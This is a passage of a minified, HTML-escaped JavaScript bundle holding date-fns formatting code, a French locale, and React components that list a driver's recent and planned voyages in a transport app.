r.day(n,{width:&quot;abbreviated&quot;,context:&quot;formatting&quot;});case&quot;iiiii&quot;:return r.day(n,{width:&quot;narrow&quot;,context:&quot;formatting&quot;});case&quot;iiiiii&quot;:return r.day(n,{width:&quot;short&quot;,context:&quot;formatting&quot;});default:return r.day(n,{width:&quot;wide&quot;,context:&quot;formatting&quot;})}},a:function(e,t,r){const i=e.getHours()/12&gt;=1?&quot;pm&quot;:&quot;am&quot;;switch(t){case&quot;a&quot;:case&quot;aa&quot;:return r.dayPeriod(i,{width:&quot;abbreviated&quot;,context:&quot;formatting&quot;});case&quot;aaa&quot;:return r.dayPeriod(i,{width:&quot;abbreviated&quot;,context:&quot;formatting&quot;}).toLowerCase();case&quot;aaaaa&quot;:return r.dayPeriod(i,{width:&quot;narrow&quot;,context:&quot;formatting&quot;});default:return r.dayPeriod(i,{width:&quot;wide&quot;,context:&quot;formatting&quot;})}},b:function(e,t,r){const n=e.getHours();let i;switch(n===12?i=EA.noon:n===0?i=EA.midnight:i=n/12&gt;=1?&quot;pm&quot;:&quot;am&quot;,t){case&quot;b&quot;:case&quot;bb&quot;:return r.dayPeriod(i,{width:&quot;abbreviated&quot;,context:&quot;formatting&quot;});case&quot;bbb&quot;:return r.dayPeriod(i,{width:&quot;abbreviated&quot;,context:&quot;formatting&quot;}).toLowerCase();case&quot;bbbbb&quot;:return r.dayPeriod(i,{width:&quot;narrow&quot;,context:&quot;formatting&quot;});default:return r.dayPeriod(i,{width:&quot;wide&quot;,context:&quot;formatting&quot;})}},B:function(e,t,r){const n=e.getHours();let i;switch(n&gt;=17?i=EA.evening:n&gt;=12?i=EA.afternoon:n&gt;=4?i=EA.morning:i=EA.night,t){case&quot;B&quot;:case&quot;BB&quot;:case&quot;BBB&quot;:return r.dayPeriod(i,{width:&quot;abbreviated&quot;,context:&quot;formatting&quot;});case&quot;BBBBB&quot;:return r.dayPeriod(i,{width:&quot;narrow&quot;,context:&quot;formatting&quot;});default:return r.dayPeriod(i,{width:&quot;wide&quot;,context:&quot;formatting&quot;})}},h:function(e,t,r){if(t===&quot;ho&quot;){let n=e.getHours()%12;return n===0&amp;&amp;(n=12),r.ordinalNumber(n,{unit:&quot;hour&quot;})}return Wh.h(e,t)},H:function(e,t,r){return t===&quot;Ho&quot;?r.ordinalNumber(e.getHours(),{unit:&quot;hour&quot;}):Wh.H(e,t)},K:function(e,t,r){const n=e.getHours()%12;return t===&quot;Ko&quot;?r.ordinalNumber(n,{unit:&quot;hour&quot;}):Ki(n,t.length)},k:function(e,t,r){let n=e.getHours();return n===0&amp;&amp;(n=24),t===&quot;ko&quot;?r.ordinalNumber(n,{unit:&quot;hour&quot;}):Ki(n,t.length)},m:function(e,t,r){return t===&quot;mo&quot;?r.ordinalNumber(e.getMinutes(),{unit:&quot;minute&quot;}):Wh.m(e,t)},s:function(e,t,r){return t===&quot;so&quot;?r.ordinalNumber(e.getSeconds(),{unit:&quot;second&quot;}):Wh.s(e,t)},S:function(e,t){return Wh.S(e,t)},X:function(e,t,r){const n=e.getTimezoneOffset();if(n===0)return&quot;Z&quot;;switch(t){case&quot;X&quot;:return R7(n);case&quot;XXXX&quot;:case&quot;XX&quot;:return Up(n);default:return Up(n,&quot;:&quot;)}},x:function(e,t,r){const n=e.getTimezoneOffset();switch(t){case&quot;x&quot;:return R7(n);case&quot;xxxx&quot;:case&quot;xx&quot;:return Up(n);default:return Up(n,&quot;:&quot;)}},O:function(e,t,r){const n=e.getTimezoneOffset();switch(t){case&quot;O&quot;:case&quot;OO&quot;:case&quot;OOO&quot;:return&quot;GMT&quot;+T7(n,&quot;:&quot;);default:return&quot;GMT&quot;+Up(n,&quot;:&quot;)}},z:function(e,t,r){const n=e.getTimezoneOffset();switch(t){case&quot;z&quot;:case&quot;zz&quot;:case&quot;zzz&quot;:return&quot;GMT&quot;+T7(n,&quot;:&quot;);default:return&quot;GMT&quot;+Up(n,&quot;:&quot;)}},t:function(e,t,r){const n=Math.trunc(+e/1e3);return Ki(n,t.length)},T:function(e,t,r){return Ki(+e,t.length)}};function T7(e,t=&quot;&quot;){const r=e&gt;0?&quot;-&quot;:&quot;+&quot;,n=Math.abs(e),i=Math.trunc(n/60),s=n%60;return s===0?r+String(i):r+String(i)+t+Ki(s,2)}function R7(e,t){return e%60===0?(e&gt;0?&quot;-&quot;:&quot;+&quot;)+Ki(Math.abs(e)/60,2):Up(e,t)}function Up(e,t=&quot;&quot;){const r=e&gt;0?&quot;-&quot;:&quot;+&quot;,n=Math.abs(e),i=Ki(Math.trunc(n/60),2),s=Ki(n%60,2);return r+i+t+s}const P7=(e,t)=&gt;{switch(e){case&quot;P&quot;:return t.date({width:&quot;short&quot;});case&quot;PP&quot;:return t.date({width:&quot;medium&quot;});case&quot;PPP&quot;:return t.date({width:&quot;long&quot;});default:return t.date({width:&quot;full&quot;})}},B$=(e,t)=&gt;{switch(e){case&quot;p&quot;:return t.time({width:&quot;short&quot;});case&quot;pp&quot;:return t.time({width:&quot;medium&quot;});case&quot;ppp&quot;:return t.time({width:&quot;long&quot;});default:return t.time({width:&quot;full&quot;})}},Zhe=(e,t)=&gt;{const r=e.match(/(P+)(p+)?/)||[],n=r[1],i=r[2];if(!i)return P7(e,t);let s;switch(n){case&quot;P&quot;:s=t.dateTime({width:&quot;short&quot;});break;case&quot;PP&quot;:s=t.dateTime({width:&quot;medium&quot;});break;case&quot;PPP&quot;:s=t.dateTime({width:&quot;long&quot;});break;default:s=t.dateTime({width:&quot;full&quot;});break}return s.replace(&quot;{{date}}&quot;,P7(n,t)).replace(&quot;{{time}}&quot;,B$(i,t))},Jhe={p:B$,P:Zhe},Xhe=/^D+$/,eme=/^Y+$/,tme=[&quot;D&quot;,&quot;DD&quot;,&quot;YY&quot;,&quot;YYYY&quot;];function rme(e){return Xhe.test(e)}function nme(e){return eme.test(e)}function ime(e,t,r){const n=ame(e,t,r);if(console.warn(n),tme.includes(e))throw new RangeError(n)}function ame(e,t,r){const n=e[0]===&quot;Y&quot;?&quot;years&quot;:&quot;days of the month&quot;;return`Use \`${e.toLowerCase()}\` instead of \`${e}\` (in \`${t}\`) for formatting ${n} to the input \`${r}\`; see: https://github.com/date-fns/date-fns/blob/master/docs/unicodeTokens.md`}const sme=/[yYQqMLwIdDecihHKkms]o|(\w)\1*|&#039;&#039;|&#039;(&#039;&#039;|[^&#039;])+(&#039;|$)|./g,ome=/P+p+|P+|p+|&#039;&#039;|&#039;(&#039;&#039;|[^&#039;])+(&#039;|$)|./g,lme=/^&#039;([^]*?)&#039;?$/,cme=/&#039;&#039;/g,ume=/[a-zA-Z]/;function Wr(e,t,r){const n=yy(),i=r?.locale??n.locale??N$,s=r?.firstWeekContainsDate??r?.locale?.options?.firstWeekContainsDate??n.firstWeekContainsDate??n.locale?.options?.firstWeekContainsDate??1,o=r?.weekStartsOn??r?.locale?.options?.weekStartsOn??n.weekStartsOn??n.locale?.options?.weekStartsOn??0,l=Xs(e,r?.in);if(!ahe(l))throw new RangeError(&quot;Invalid time value&quot;);let c=t.match(ome).map(u=&gt;{const h=u[0];if(h===&quot;p&quot;||h===&quot;P&quot;){const p=Jhe[h];return p(u,i.formatLong)}return u}).join(&quot;&quot;).match(sme).map(u=&gt;{if(u===&quot;&#039;&#039;&quot;)return{isToken:!1,value:&quot;&#039;&quot;};const h=u[0];if(h===&quot;&#039;&quot;)return{isToken:!1,value:dme(u)};if(D7[h])return{isToken:!0,value:u};if(h.match(ume))throw new RangeError(&quot;Format string contains an unescaped latin alphabet character `&quot;+h+&quot;`&quot;);return{isToken:!1,value:u}});i.localize.preprocessor&amp;&amp;(c=i.localize.preprocessor(l,c));const d={firstWeekContainsDate:s,weekStartsOn:o,locale:i};return c.map(u=&gt;{if(!u.isToken)return u.value;const h=u.value;(!r?.useAdditionalWeekYearTokens&amp;&amp;nme(h)||!r?.useAdditionalDayOfYearTokens&amp;&amp;rme(h))&amp;&amp;ime(h,t,String(e));const p=D7[h[0]];return p(l,h,i.localize,d)}).join(&quot;&quot;)}function dme(e){const t=e.match(lme);return t?t[1].replace(cme,&quot;&#039;&quot;):e}function fme(e,t,r){const n=yy(),i=r?.locale??n.locale??N$,s=2520,o=Zb(e,t);if(isNaN(o))throw new RangeError(&quot;Invalid time value&quot;);const l=Object.assign({},r,{addSuffix:r?.addSuffix,comparison:o}),[c,d]=W1(r?.in,...o&gt;0?[t,e]:[e,t]),u=mhe(d,c),h=(mw(d)-mw(c))/1e3,p=Math.round((u-h)/60);let A;if(p&lt;2)return r?.includeSeconds?u&lt;5?i.formatDistance(&quot;lessThanXSeconds&quot;,5,l):u&lt;10?i.formatDistance(&quot;lessThanXSeconds&quot;,10,l):u&lt;20?i.formatDistance(&quot;lessThanXSeconds&quot;,20,l):u&lt;40?i.formatDistance(&quot;halfAMinute&quot;,0,l):u&lt;60?i.formatDistance(&quot;lessThanXMinutes&quot;,1,l):i.formatDistance(&quot;xMinutes&quot;,1,l):p===0?i.formatDistance(&quot;lessThanXMinutes&quot;,1,l):i.formatDistance(&quot;xMinutes&quot;,p,l);if(p&lt;45)return i.formatDistance(&quot;xMinutes&quot;,p,l);if(p&lt;90)return i.formatDistance(&quot;aboutXHours&quot;,1,l);if(p&lt;B7){const y=Math.round(p/60);return i.formatDistance(&quot;aboutXHours&quot;,y,l)}else{if(p&lt;s)return i.formatDistance(&quot;xDays&quot;,1,l);if(p&lt;eb){const y=Math.round(p/B7);return i.formatDistance(&quot;xDays&quot;,y,l)}else if(p&lt;eb*2)return A=Math.round(p/eb),i.formatDistance(&quot;aboutXMonths&quot;,A,l)}if(A=hhe(d,c),A&lt;12){const y=Math.round(p/eb);return i.formatDistance(&quot;xMonths&quot;,y,l)}else{const y=A%12,v=Math.trunc(A/12);return y&lt;3?i.formatDistance(&quot;aboutXYears&quot;,v,l):y&lt;9?i.formatDistance(&quot;overXYears&quot;,v,l):i.formatDistance(&quot;almostXYears&quot;,v+1,l)}}function kI(e,t){return fme(e,nhe(e),t)}function hme(e,t){const r=()=&gt;Wd(t?.in,NaN),i=Ame(e);let s;if(i.date){const d=xme(i.date,2);s=vme(d.restDateString,d.year)}if(!s||isNaN(+s))return r();const o=+s;let l=0,c;if(i.time&amp;&amp;(l=yme(i.time),isNaN(l)))return r();if(i.timezone){if(c=bme(i.timezone),isNaN(c))return r()}else{const d=new Date(o+l),u=Xs(0,t?.in);return u.setFullYear(d.getUTCFullYear(),d.getUTCMonth(),d.getUTCDate()),u.setHours(d.getUTCHours(),d.getUTCMinutes(),d.getUTCSeconds(),d.getUTCMilliseconds()),u}return Xs(o+l+c,t?.in)}const tb={dateTimeDelimiter:/[T ]/,timeZoneDelimiter:/[Z ]/i,timezone:/([Z+-].*)$/},mme=/^-?(?:(\d{3})|(\d{2})(?:-?(\d{2}))?|W(\d{2})(?:-?(\d{1}))?|)$/,pme=/^(\d{2}(?:[.,]\d*)?)(?::?(\d{2}(?:[.,]\d*)?))?(?::?(\d{2}(?:[.,]\d*)?))?$/,gme=/^([+-])(\d{2})(?::?(\d{2}))?$/;function Ame(e){const t={},r=e.split(tb.dateTimeDelimiter);let n;if(r.length&gt;2)return t;if(/:/.test(r[0])?n=r[0]:(t.date=r[0],n=r[1],tb.timeZoneDelimiter.test(t.date)&amp;&amp;(t.date=e.split(tb.timeZoneDelimiter)[0],n=e.substr(t.date.length,e.length))),n){const i=tb.timezone.exec(n);i?(t.time=n.replace(i[1],&quot;&quot;),t.timezone=i[1]):t.time=n}return t}function xme(e,t){const r=new RegExp(&quot;^(?:(\\d{4}|[+-]\\d{&quot;+(4+t)+&quot;})|(\\d{2}|[+-]\\d{&quot;+(2+t)+&quot;})$)&quot;),n=e.match(r);if(!n)return{year:NaN,restDateString:&quot;&quot;};const i=n[1]?parseInt(n[1]):null,s=n[2]?parseInt(n[2]):null;return{year:s===null?i:s*100,restDateString:e.slice((n[1]||n[2]).length)}}function vme(e,t){if(t===null)return new Date(NaN);const r=e.match(mme);if(!r)return new Date(NaN);const n=!!r[4],i=jx(r[1]),s=jx(r[2])-1,o=jx(r[3]),l=jx(r[4]),c=jx(r[5])-1;if(n)return jme(t,l,c)?wme(t,l,c):new Date(NaN);{const d=new Date(0);return!Cme(t,s,o)||!Ime(t,i)?new Date(NaN):(d.setUTCFullYear(t,s,Math.max(i,o)),d)}}function jx(e){return e?parseInt(e):1}function yme(e){const t=e.match(pme);if(!t)return NaN;const r=_I(t[1]),n=_I(t[2]),i=_I(t[3]);return Nme(r,n,i)?r*E$+n*w$+i*1e3:NaN}function _I(e){return e&amp;&amp;parseFloat(e.replace(&quot;,&quot;,&quot;.&quot;))||0}function bme(e){if(e===&quot;Z&quot;)return 0;const t=e.match(gme);if(!t)return 0;const r=t[1]===&quot;+&quot;?-1:1,n=parseInt(t[2]),i=t[3]&amp;&amp;parseInt(t[3])||0;return Sme(n,i)?r*(n*E$+i*w$):NaN}function wme(e,t,r){const n=new Date(0);n.setUTCFullYear(e,0,4);const i=n.getUTCDay()||7,s=(t-1)*7+r+1-i;return n.setUTCDate(n.getUTCDate()+s),n}const Eme=[31,null,31,30,31,30,31,31,30,31,30,31];function k$(e){return e%400===0||e%4===0&amp;&amp;e%100!==0}function Cme(e,t,r){return t&gt;=0&amp;&amp;t&lt;=11&amp;&amp;r&gt;=1&amp;&amp;r&lt;=(Eme[t]||(k$(e)?29:28))}function Ime(e,t){return t&gt;=1&amp;&amp;t&lt;=(k$(e)?366:365)}function jme(e,t,r){return t&gt;=1&amp;&amp;t&lt;=53&amp;&amp;r&gt;=0&amp;&amp;r&lt;=6}function Nme(e,t,r){return e===24?t===0&amp;&amp;r===0:r&gt;=0&amp;&amp;r&lt;60&amp;&amp;t&gt;=0&amp;&amp;t&lt;60&amp;&amp;e&gt;=0&amp;&amp;e&lt;25}function Sme(e,t){return t&gt;=0&amp;&amp;t&lt;=59}const Bme={lessThanXSeconds:{one:&quot;moins d’une seconde&quot;,other:&quot;moins de {{count}} secondes&quot;},xSeconds:{one:&quot;1 seconde&quot;,other:&quot;{{count}} secondes&quot;},halfAMinute:&quot;30 secondes&quot;,lessThanXMinutes:{one:&quot;moins d’une minute&quot;,other:&quot;moins de {{count}} minutes&quot;},xMinutes:{one:&quot;1 minute&quot;,other:&quot;{{count}} minutes&quot;},aboutXHours:{one:&quot;environ 1 heure&quot;,other:&quot;environ {{count}} heures&quot;},xHours:{one:&quot;1 heure&quot;,other:&quot;{{count}} heures&quot;},xDays:{one:&quot;1 jour&quot;,other:&quot;{{count}} jours&quot;},aboutXWeeks:{one:&quot;environ 1 semaine&quot;,other:&quot;environ {{count}} semaines&quot;},xWeeks:{one:&quot;1 semaine&quot;,other:&quot;{{count}} semaines&quot;},aboutXMonths:{one:&quot;environ 1 mois&quot;,other:&quot;environ {{count}} mois&quot;},xMonths:{one:&quot;1 mois&quot;,other:&quot;{{count}} mois&quot;},aboutXYears:{one:&quot;environ 1 an&quot;,other:&quot;environ {{count}} ans&quot;},xYears:{one:&quot;1 an&quot;,other:&quot;{{count}} ans&quot;},overXYears:{one:&quot;plus d’un an&quot;,other:&quot;plus de {{count}} ans&quot;},almostXYears:{one:&quot;presqu’un an&quot;,other:&quot;presque {{count}} ans&quot;}},kme=(e,t,r)=&gt;{let n;const i=Bme[e];return typeof i==&quot;string&quot;?n=i:t===1?n=i.one:n=i.other.replace(&quot;{{count}}&quot;,String(t)),r?.addSuffix?r.comparison&amp;&amp;r.comparison&gt;0?&quot;dans &quot;+n:&quot;il y a &quot;+n:n},_me={full:&quot;EEEE d MMMM y&quot;,long:&quot;d MMMM y&quot;,medium:&quot;d MMM y&quot;,short:&quot;dd/MM/y&quot;},Dme={full:&quot;HH:mm:ss zzzz&quot;,long:&quot;HH:mm:ss z&quot;,medium:&quot;HH:mm:ss&quot;,short:&quot;HH:mm&quot;},Tme={full:&quot;{{date}} &#039;à&#039; {{time}}&quot;,long:&quot;{{date}} &#039;à&#039; {{time}}&quot;,medium:&quot;{{date}}, {{time}}&quot;,short:&quot;{{date}}, {{time}}&quot;},Rme={date:KA({formats:_me,defaultWidth:&quot;full&quot;}),time:KA({formats:Dme,defaultWidth:&quot;full&quot;}),dateTime:KA({formats:Tme,defaultWidth:&quot;full&quot;})},Pme={lastWeek:&quot;eeee &#039;dernier à&#039; p&quot;,yesterday:&quot;&#039;hier à&#039; p&quot;,today:&quot;&#039;aujourd’hui à&#039; p&quot;,tomorrow:&quot;&#039;demain à&#039; p&#039;&quot;,nextWeek:&quot;eeee &#039;prochain à&#039; p&quot;,other:&quot;P&quot;},Qme=(e,t,r,n)=&gt;Pme[e],Fme={narrow:[&quot;av. J.-C&quot;,&quot;ap. J.-C&quot;],abbreviated:[&quot;av. J.-C&quot;,&quot;ap. J.-C&quot;],wide:[&quot;avant Jésus-Christ&quot;,&quot;après Jésus-Christ&quot;]},Ome={narrow:[&quot;T1&quot;,&quot;T2&quot;,&quot;T3&quot;,&quot;T4&quot;],abbreviated:[&quot;1er trim.&quot;,&quot;2ème trim.&quot;,&quot;3ème trim.&quot;,&quot;4ème trim.&quot;],wide:[&quot;1er trimestre&quot;,&quot;2ème trimestre&quot;,&quot;3ème trimestre&quot;,&quot;4ème trimestre&quot;]},Lme={narrow:[&quot;J&quot;,&quot;F&quot;,&quot;M&quot;,&quot;A&quot;,&quot;M&quot;,&quot;J&quot;,&quot;J&quot;,&quot;A&quot;,&quot;S&quot;,&quot;O&quot;,&quot;N&quot;,&quot;D&quot;],abbreviated:[&quot;janv.&quot;,&quot;févr.&quot;,&quot;mars&quot;,&quot;avr.&quot;,&quot;mai&quot;,&quot;juin&quot;,&quot;juil.&quot;,&quot;août&quot;,&quot;sept.&quot;,&quot;oct.&quot;,&quot;nov.&quot;,&quot;déc.&quot;],wide:[&quot;janvier&quot;,&quot;février&quot;,&quot;mars&quot;,&quot;avril&quot;,&quot;mai&quot;,&quot;juin&quot;,&quot;juillet&quot;,&quot;août&quot;,&quot;septembre&quot;,&quot;octobre&quot;,&quot;novembre&quot;,&quot;décembre&quot;]},Mme={narrow:[&quot;D&quot;,&quot;L&quot;,&quot;M&quot;,&quot;M&quot;,&quot;J&quot;,&quot;V&quot;,&quot;S&quot;],short:[&quot;di&quot;,&quot;lu&quot;,&quot;ma&quot;,&quot;me&quot;,&quot;je&quot;,&quot;ve&quot;,&quot;sa&quot;],abbreviated:[&quot;dim.&quot;,&quot;lun.&quot;,&quot;mar.&quot;,&quot;mer.&quot;,&quot;jeu.&quot;,&quot;ven.&quot;,&quot;sam.&quot;],wide:[&quot;dimanche&quot;,&quot;lundi&quot;,&quot;mardi&quot;,&quot;mercredi&quot;,&quot;jeudi&quot;,&quot;vendredi&quot;,&quot;samedi&quot;]},Ume={narrow:{am:&quot;AM&quot;,pm:&quot;PM&quot;,midnight:&quot;minuit&quot;,noon:&quot;midi&quot;,morning:&quot;mat.&quot;,afternoon:&quot;ap.m.&quot;,evening:&quot;soir&quot;,night:&quot;mat.&quot;},abbreviated:{am:&quot;AM&quot;,pm:&quot;PM&quot;,midnight:&quot;minuit&quot;,noon:&quot;midi&quot;,morning:&quot;matin&quot;,afternoon:&quot;après-midi&quot;,evening:&quot;soir&quot;,night:&quot;matin&quot;},wide:{am:&quot;AM&quot;,pm:&quot;PM&quot;,midnight:&quot;minuit&quot;,noon:&quot;midi&quot;,morning:&quot;du matin&quot;,afternoon:&quot;de l’après-midi&quot;,evening:&quot;du soir&quot;,night:&quot;du matin&quot;}},zme=(e,t)=&gt;{const r=Number(e),n=t?.unit;if(r===0)return&quot;0&quot;;const i=[&quot;year&quot;,&quot;week&quot;,&quot;hour&quot;,&quot;minute&quot;,&quot;second&quot;];let s;return r===1?s=n&amp;&amp;i.includes(n)?&quot;ère&quot;:&quot;er&quot;:s=&quot;ème&quot;,r+s},$me=[&quot;MMM&quot;,&quot;MMMM&quot;],Hme={preprocessor:(e,t)=&gt;e.getDate()===1||!t.some(n=&gt;n.isToken&amp;&amp;$me.includes(n.value))?t:t.map(n=&gt;n.isToken&amp;&amp;n.value===&quot;do&quot;?{isToken:!0,value:&quot;d&quot;}:n),ordinalNumber:zme,era:Bd({values:Fme,defaultWidth:&quot;wide&quot;}),quarter:Bd({values:Ome,defaultWidth:&quot;wide&quot;,argumentCallback:e=&gt;e-1}),month:Bd({values:Lme,defaultWidth:&quot;wide&quot;}),day:Bd({values:Mme,defaultWidth:&quot;wide&quot;}),dayPeriod:Bd({values:Ume,defaultWidth:&quot;wide&quot;})},qme=/^(\d+)(ième|ère|ème|er|e)?/i,Gme=/\d+/i,Vme={narrow:/^(av\.J\.C|ap\.J\.C|ap\.J\.-C)/i,abbreviated:/^(av\.J\.-C|av\.J-C|apr\.J\.-C|apr\.J-C|ap\.J-C)/i,wide:/^(avant Jésus-Christ|après Jésus-Christ)/i},Wme={any:[/^av/i,/^ap/i]},Kme={narrow:/^T?[1234]/i,abbreviated:/^[1234](er|ème|e)? trim\.?/i,wide:/^[1234](er|ème|e)? trimestre/i},Yme={any:[/1/i,/2/i,/3/i,/4/i]},Zme={narrow:/^[jfmasond]/i,abbreviated:/^(janv|févr|mars|avr|mai|juin|juill|juil|août|sept|oct|nov|déc)\.?/i,wide:/^(janvier|février|mars|avril|mai|juin|juillet|août|septembre|octobre|novembre|décembre)/i},Jme={narrow:[/^j/i,/^f/i,/^m/i,/^a/i,/^m/i,/^j/i,/^j/i,/^a/i,/^s/i,/^o/i,/^n/i,/^d/i],any:[/^ja/i,/^f/i,/^mar/i,/^av/i,/^ma/i,/^juin/i,/^juil/i,/^ao/i,/^s/i,/^o/i,/^n/i,/^d/i]},Xme={narrow:/^[lmjvsd]/i,short:/^(di|lu|ma|me|je|ve|sa)/i,abbreviated:/^(dim|lun|mar|mer|jeu|ven|sam)\.?/i,wide:/^(dimanche|lundi|mardi|mercredi|jeudi|vendredi|samedi)/i},epe={narrow:[/^d/i,/^l/i,/^m/i,/^m/i,/^j/i,/^v/i,/^s/i],any:[/^di/i,/^lu/i,/^ma/i,/^me/i,/^je/i,/^ve/i,/^sa/i]},tpe={narrow:/^(a|p|minuit|midi|mat\.?|ap\.?m\.?|soir|nuit)/i,any:/^([ap]\.?\s?m\.?|du matin|de l&#039;après[-\s]midi|du soir|de la nuit)/i},rpe={any:{am:/^a/i,pm:/^p/i,midnight:/^min/i,noon:/^mid/i,morning:/mat/i,afternoon:/ap/i,evening:/soir/i,night:/nuit/i}},npe={ordinalNumber:j$({matchPattern:qme,parsePattern:Gme,valueCallback:e=&gt;parseInt(e)}),era:kd({matchPatterns:Vme,defaultMatchWidth:&quot;wide&quot;,parsePatterns:Wme,defaultParseWidth:&quot;any&quot;}),quarter:kd({matchPatterns:Kme,defaultMatchWidth:&quot;wide&quot;,parsePatterns:Yme,defaultParseWidth:&quot;any&quot;,valueCallback:e=&gt;e+1}),month:kd({matchPatterns:Zme,defaultMatchWidth:&quot;wide&quot;,parsePatterns:Jme,defaultParseWidth:&quot;any&quot;}),day:kd({matchPatterns:Xme,defaultMatchWidth:&quot;wide&quot;,parsePatterns:epe,defaultParseWidth:&quot;any&quot;}),dayPeriod:kd({matchPatterns:tpe,defaultMatchWidth:&quot;any&quot;,parsePatterns:rpe,defaultParseWidth:&quot;any&quot;})},Hr={code:&quot;fr&quot;,formatDistance:kme,formatLong:Rme,formatRelative:Qme,localize:Hme,match:npe,options:{weekStartsOn:1,firstWeekContainsDate:4}};function ipe({onVoyageClick:e}){const[,t]=Gi(),{data:r=[],isLoading:n}=Xfe(),i=s=&gt;{e?e(s):t(`/driver/voyage/${s}?readOnly=true`)};return n?a.jsx(it,{children:a.jsxs(Et,{className:&quot;p-4 text-center&quot;,children:[a.jsx(Nt,{className:&quot;h-5 w-5 animate-spin text-primary mx-auto mb-2&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;Chargement des voyages...&quot;})]})}):r.length===0?null:a.jsxs(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:[a.jsx(&quot;h3&quot;,{className:&quot;text-lg font-semibold mb-3&quot;,children:&quot;Vos 10 derniers voyages&quot;}),r.map(s=&gt;{const o=s.updatedAt||s.createdAt,l=s.trips?.[0],c=s.trips?.[s.trips.length-1],d=l?.fromLabel||&quot;N/A&quot;,u=c?.toLabel||l?.toLabel||&quot;N/A&quot;;return a.jsx(it,{className:&quot;cursor-pointer hover:bg-muted/50 transition-colors&quot;,onClick:()=&gt;i(s.id),children:a.jsx(Et,{className:&quot;p-4&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-start justify-between gap-3&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex-1 min-w-0&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 mb-2&quot;,children:[a.jsx(yt,{variant:&quot;outline&quot;,className:&quot;bg-green-50 dark:bg-green-950 text-green-700 dark:text-green-300 border-green-200 dark:border-green-800&quot;,children:&quot;Clôturé&quot;}),a.jsxs(&quot;span&quot;,{className:&quot;text-sm font-semibold text-muted-foreground&quot;,children:[&quot;Voyage #&quot;,s.id]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-1&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 text-sm&quot;,children:[a.jsx(ei,{className:&quot;h-4 w-4 text-muted-foreground flex-shrink-0&quot;}),a.jsxs(&quot;span&quot;,{className:&quot;truncate&quot;,children:[d,&quot; → &quot;,u]})]}),o&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 text-xs text-muted-foreground&quot;,children:[a.jsx(Sl,{className:&quot;h-3 w-3 flex-shrink-0&quot;}),a.jsxs(&quot;span&quot;,{children:[&quot;Clôturé le &quot;,Wr(new Date(o),&quot;dd/MM/yyyy à HH:mm&quot;,{locale:Hr})]})]}),s.vehicle&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 text-xs text-muted-foreground&quot;,children:[a.jsx(Fa,{className:&quot;h-3 w-3 flex-shrink-0&quot;}),a.jsx(&quot;span&quot;,{children:s.vehicle.immatriculation||&quot;Véhicule&quot;})]})]})]}),a.jsx(&quot;div&quot;,{className:&quot;text-xs text-muted-foreground flex-shrink-0&quot;,children:&quot;Voir →&quot;})]})})},s.id)})]})}function _$(){return cr({queryKey:[&quot;/api/driver/planned-voyages&quot;],queryFn:Az,staleTime:30*1e3,refetchOnWindowFocus:!0})}function ape({onVoyageClick:e}){const[,t]=Gi(),{data:r=[],isLoading:n}=_$(),i=s=&gt;{e?e(s):t(`/driver/voyage/${s}`)};return n?a.jsx(it,{children:a.jsxs(Et,{className:&quot;p-4 text-center&quot;,children:[a.jsx(Nt,{className:&quot;h-5 w-5 animate-spin text-primary mx-auto mb-2&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;Chargement des voyages...&quot;})]})}):r.length===0?null:a.jsxs(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:[a.jsx(&quot;h3&quot;,{className:&quot;text-lg font-semibold mb-3&quot;,children:&quot;Voyages planifiés&quot;}),r.map(s=&gt;{const o=s.trips?.[0],l=s.trips?.[s.trips.length-1],c=o?.fromLabel||s.loadingSite||&quot;N/A&quot;,d=l?.toLabel||o?.toLabel||s.unloadingSite||&quot;N/A&quot;,u=s.plannedStartAt;return a.jsx(it,{className:&quot;cursor-pointer hover:bg-muted/50 transition-colors border-blue-200 dark:border-blue-800 bg-blue-50/30 dark:bg-blue-950/20&quot;,onClick:()=&gt;i(s.id),children:a.jsx(Et,{className:&quot;p-4&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-start justify-between gap-3&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex-1 min-w-0&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 mb-2&quot;,children:[a.jsx(yt,{variant:&quot;outline&quot;,className:&quot;bg-blue-50 dark:bg-blue-950 text-blue-700 dark:text-blue-300 border-blue-200 dark:border-blue-800&quot;,children:&quot;Planifié&quot;}),a.jsxs(&quot;span&quot;,{className:&quot;text-sm font-semibold text-muted-foreground&quot;,children:[&quot;Voyage #&quot;,s.id]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-1&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 text-sm&quot;,children:[a.jsx(ei,{className:&quot;h-4 w-4 text-muted-foreground flex-shrink-0&quot;}),a.jsxs(&quot;span&quot;,{className:&quot;truncate&quot;,children:[c,&quot; → &quot;,d]})]}),u&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 text-xs text-muted-foreground&quot;,children:[a.jsx(Bl,{className:&quot;h-3 w-3 flex-shrink-0&quot;}),a.jsxs(&quot;span&quot;,{children:[&quot;Début prévu le &quot;,Wr(new Date(u),&quot;dd/MM/yyyy à HH:mm&quot;,{locale:Hr})]})]}),s.vehicle&amp;&amp;a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 text-xs text-muted-foreground&quot;,children:[a.jsx(Fa,{className:&quot;h-3 w-3 flex-shrink-0&quot;}),a.jsx(&quot;span&quot;,{children:s.vehicle.immatriculation||&quot;Véhicule&quot;})]})]})]}),a.jsx(&quot;div&quot;,{className:&quot;text-xs text-muted-foreground flex-shrink-0&quot;,children:&quot;Ouvrir →&quot;})]})})},s.id)})]})}function spe(){const e=eo(),{toast:t}=Er(),[,r]=Gi(),[n,i]=I.useState(!1),{data:s=[]}=_$(),o=async()=&gt;{i(!0);try{await 